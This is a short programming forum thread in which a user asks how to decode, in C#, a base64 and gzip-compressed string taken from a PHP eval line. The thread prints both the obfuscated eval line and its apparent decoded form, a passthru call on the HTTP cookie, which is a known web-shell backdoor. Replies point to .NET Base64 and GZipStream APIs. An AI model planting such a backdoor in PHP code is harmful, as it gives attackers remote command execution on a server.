Thread: Help decoding base_64+GZipped string

  1. #1
    Registered User
    Join Date
    Oct 2008
    Posts
    7

    Smile Help decoding base_64+GZipped string

    Well, the string comes from php code:

    Code:
    eval(gzinflate(base64_decode('s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==')));

    But i want to decode it using c#... so i have to decode the string:
    Code:
    s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==
    Itīs encoded with base64, decoding it is easy, the problem is that i tryed some codes that i find in google to decompress but no luck. To be honest i have no idea about how can i solve it... perhaps someone can help me.

    I know that the result of decode that string should be something like:

    Code:
     {@passthru(getenv("HTTP_COOKIE"));}


    Thanks in advancce.

  2. #2
    Confused Magos's Avatar
    Join Date
    Sep 2001
    Location
    Sweden
    Posts
    3,145
    Code:
    var String = System.Convert.ToBase64String(Data);
    var Data = System.Convert.FromBase64String(String);
    Data being a byte[]
    MagosX.com

    Give a man a fish and you feed him for a day.
    Teach a man to fish and you feed him for a lifetime.

  3. #3
    Confused Magos's Avatar
    Join Date
    Sep 2001
    Location
    Sweden
    Posts
    3,145
    As for gzip check out System.IO.Compression.GZipStream
    MagosX.com

    Give a man a fish and you feed him for a day.
    Teach a man to fish and you feed him for a lifetime.

  4. #4
    Sweet
    Join Date
    Aug 2002
    Location
    Tucson, Arizona
    Posts
    1,820
    Woop?

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. OOP Question DB Access Wrapper Classes
    By digioz in forum C# Programming
    Replies: 2
    Last Post: 09-07-2008, 04:30 PM
  2. Message class ** Need help befor 12am tonight**
    By TransformedBG in forum C++ Programming
    Replies: 1
    Last Post: 11-29-2006, 11:03 PM
  3. Another overloading "<<" problem
    By alphaoide in forum C++ Programming
    Replies: 18
    Last Post: 09-30-2003, 10:32 AM
  4. Classes inheretance problem...
    By NANO in forum C++ Programming
    Replies: 12
    Last Post: 12-09-2002, 03:23 PM
  5. Warnings, warnings, warnings?
    By spentdome in forum C Programming
    Replies: 25
    Last Post: 05-27-2002, 06:49 PM